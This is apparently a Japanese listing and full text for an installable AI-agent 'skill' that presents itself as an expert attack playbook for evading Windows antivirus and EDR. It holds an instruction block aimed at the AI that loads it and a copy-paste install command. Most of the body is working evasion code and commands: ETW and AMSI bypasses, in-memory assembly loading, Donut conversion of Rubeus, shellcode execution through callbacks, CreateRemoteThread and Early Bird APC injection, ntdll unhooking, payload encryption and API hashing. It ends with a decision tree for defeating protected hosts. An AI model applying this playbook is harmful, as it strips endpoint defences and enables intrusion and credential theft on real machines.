windows-av-evasion について
WindowsのAV/EDR回避を扱うセキュリティスキルガイドです。AMSIやETWの回避、アセンブリ読み込み、プロセス注入、ペイロードの難読化を解説し、防御機構の検証に役立ちます。
主な機能
- 01AMSIとETWの回避手法
- 02.NETアセンブリのメモリ内読み込み
- 03シェルコード実行とプロセス注入
- 04APIフック解除と直接システムコール
- 05ペイロード暗号化、難読化、シグネチャ回避
活用シーン
- 01Windows防御機構の適用範囲の分析
- 02許可されたテストでの検知要因の調査
- 03ペイロード実行と回避手法の分類
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill windows-av-evasionインストール後、Claude Code で/windows-av-evasionを入力して読み込まれたか確認します。
同梱ファイルAMSI_BYPASS_TECHNIQUES.md
詳細
スキル:AV/EDR 回避 — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Windows 向けの高度な AV/EDR 回避テクニックです。AMSI のバイパス、ETW のバイパス、.NET アセンブリの読み込み、シェルコードの実行、プロセスインジェクション、フック解除、ペイロードの暗号化、シグネチャ回避を扱います。ベースモデルでは、検出に応じたバイパスの連鎖やシステムコールレベルの回避に関する細かな点が見落とされます。
0. 関連するルーティング
詳しく調べる前に、次の読み込みを検討してください。
- AV によって権限昇格ツールがブロックされる場合は、windows-privilege-escalation
- 横展開ツールが EDR を作動させる場合は、windows-lateral-movement
- Rubeus/Mimikatz が検出される場合は、active-directory-kerberos-attacks
- バイナリを使わない AD 攻撃(AV の影響を受けにくい)については、active-directory-acl-abuse
高度なリファレンス
次の情報が必要な場合は、AMSI_BYPASS_TECHNIQUES.md も読み込んでください。
- 詳細な AMSI バイパスのコードパターン(メモリパッチング、リフレクション)
- PowerShell 固有の AMSI バイパス
- .NET AMSI バイパスのテクニック
1. AMSI バイパスの概要
AMSI(Antimalware Scan Interface)は、PowerShell、.NET、VBScript、JScript、Office マクロを実行時に検査します。
AMSI バイパスの主なカテゴリ
| カテゴリ | 手法 | 検出リスク | 持続性 |
|---|---|---|---|
| メモリパッチング | amsi.dll 内の AmsiScanBuffer にパッチを適用 | 中 | プロセス単位 |
| リフレクション | .NET リフレクションで AMSI 初期化フラグを変更 | 中 | セッション単位 |
| 文字列の難読化 | AMSI トリガー文字列をエンコード/分割 | 低 | ペイロード単位 |
| PowerShell のダウングレード | PS v2 を強制(AMSI なし) | 低 | セッション単位 |
| CLM のバイパス | Constrained Language Mode を回避 | 中 | セッション単位 |
| COM ハイジャック | AMSI COM サーバーをリダイレクト | 低 | ユーザー単位 |
簡易 AMSI バイパス(ワンライナー)
# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2
# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
2. ETW バイパス
ETW(Event Tracing for Windows)は、テレメトリを EDR に送ります。EtwEventWrite にパッチを適用すると、.NET アセンブリの読み込みイベントを停止できます。
EtwEventWrite にパッチを適用
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
PowerShell の ETW バイパス
# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing
3. .NET アセンブリの読み込み
メモリ内での Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });
Donut — .NET アセンブリをシェルコードに変換
# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
# Then load shellcode via any injection technique (§5)
execute-assembly(C2 フレームワーク)
# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
# Sliver
execute-assembly /path/to/SharpHound.exe -c all
# Havoc
dotnet inline-execute /path/to/tool.exe args
4. シェルコード実行テクニック
VirtualAlloc + コールバック(CreateThread を回避)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);
シェルコード実行に使えるコールバック API:EnumWindows、EnumChildWindows、EnumFonts、EnumDesktops、CertEnumSystemStore、EnumDateFormats — いずれも、シェルコードを指す関数ポインターを受け取ります。
5. プロセスインジェクションのテクニック
| テクニック | 使用する API | 検出リスク | 備考 |
|---|---|---|---|
| CreateRemoteThread | OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread | 高 | 古典的な手法で、厳重に監視されています |
| NtMapViewOfSection | NtCreateSection、NtMapViewOfSection | 中 | 共有メモリを使用し、あまり一般的ではありません |
| プロセスホローイング | CreateProcess (SUSPENDED)、NtUnmapViewOfSection、WriteProcessMemory、ResumeThread | 中 | プロセスイメージを置き換えます |
| スレッドハイジャック | SuspendThread、SetThreadContext、ResumeThread | 中 | 既存のスレッドを変更します |
| Early Bird | CreateProcess (SUSPENDED)、QueueUserAPC、ResumeThread | 低〜中 | メインスレッドの前に APC を実行します |
| Phantom DLL Hollowing | DLL セクションをマップし、シェルコードで上書き | 低 | 正規の DLL マッピングを使用します |
| Module Stomping | LoadLibrary、.text セクションを上書き | 低 | 正規の DLL を利用します |
| Transacted Hollowing | NtCreateTransaction、NtCreateSection | 低 | 不審なメモリ割り当てがありません |
CreateRemoteThread(基本パターン)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Early Bird APC インジェクション
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
6. フック解除 — EDR API フックのバイパス
ダイレクトシステムコール(SysWhispers / HellsGate)
EDR は ntdll.dll の関数にフックを設置します。ダイレクトシステムコールは、カーネルを直接呼び出すことでフックを回避します。
Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)
| ツール | 手法 | 備考 |
|---|---|---|
| SysWhispers2/3 | コンパイル時のシステムコールスタブ | 静的なシステムコール番号 |
| HellsGate | 実行時にシステムコール番号を解決 | 動的で、検出がより困難 |
| HalosGate | 隣接するフックされていないシステムコールから解決 | 部分的なフックに対応 |
| TartarusGate | 拡張版 HalosGate | より堅牢な解決 |
新しい ntdll コピー
// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)
// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed
間接システムコール
// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code
7. ペイロードの暗号化と難読化
暗号化方式
// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4 (stream cipher, simple implementation)
スリープ難読化
メモリスキャナーを回避するため、スリープ中にメモリ内のシェルコードを暗号化します。
| テクニック | 手法 |
|---|---|
| Ekko | ROP チェーン → スリープ中にヒープ/スタックを暗号化 |
| Foliage | メモリ暗号化を伴う APC ベースのスリープ |
| DeathSleep | スリープ中にスレッドの登録を解除 |
段階的な読み込み
Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute
8. シグネチャの回避
文字列の暗号化
// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);
API ハッシュ化
// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);
メタデータの削除
# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar
# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB paths
C2 フレームワークの回避
| フレームワーク | 主な回避機能 |
|---|---|
| Cobalt Strike | Malleable C2 プロファイル、HTTP/S トラフィックの整形、スリープジッター、PE 回避 |
| Sliver | 複数のプロトコル(mTLS、WireGuard、DNS)、ステージャー不要、組み込みの難読化 |
| Havoc | 間接システムコール、スリープ難読化、モジュールストンピング |
| Brute Ratel | Badger エージェント、システムコール回避、ETW/AMSI バイパスを標準搭載 |
9. AV/EDR 回避の判断ツリー
Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│ ├── AMSI blocking? → AMSI bypass first (§1)
│ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│ │ ├── Memory patch AmsiScanBuffer
│ │ └── Reflection-based bypass
│ ├── Script Block Logging? → ETW bypass (§2)
│ └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│ ├── Direct execution blocked?
│ │ ├── In-memory Assembly.Load (§3)
│ │ ├── Convert to shellcode with Donut (§3)
│ │ └── Use C2 execute-assembly (§3)
│ └── Still detected?
│ ├── Obfuscate assembly (ConfuserEx)
│ ├── Modify source + recompile
│ └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│ ├── Basic → VirtualAlloc + callback (§4)
│ ├── Need injection → choose technique by OPSEC (§5)
│ │ ├── Low detection needed → module stomping or phantom DLL
│ │ ├── Medium → early bird APC or NtMapViewOfSection
│ │ └── Quick and dirty → CreateRemoteThread
│ └── Memory scanners detect payload?
│ ├── Encrypt payload → decrypt only at execution (§7)
│ └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│ ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│ ├── Fresh ntdll copy from disk/KnownDlls (§6)
│ └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│ ├── Known tool signature → modify + recompile
│ ├── String-based → string encryption / API hashing (§8)
│ ├── PE metadata → strip/modify (§8)
│ └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
├── Use legitimate admin tools (PsExec, WMI, WinRM)
└── Switch to fileless / memory-only techniques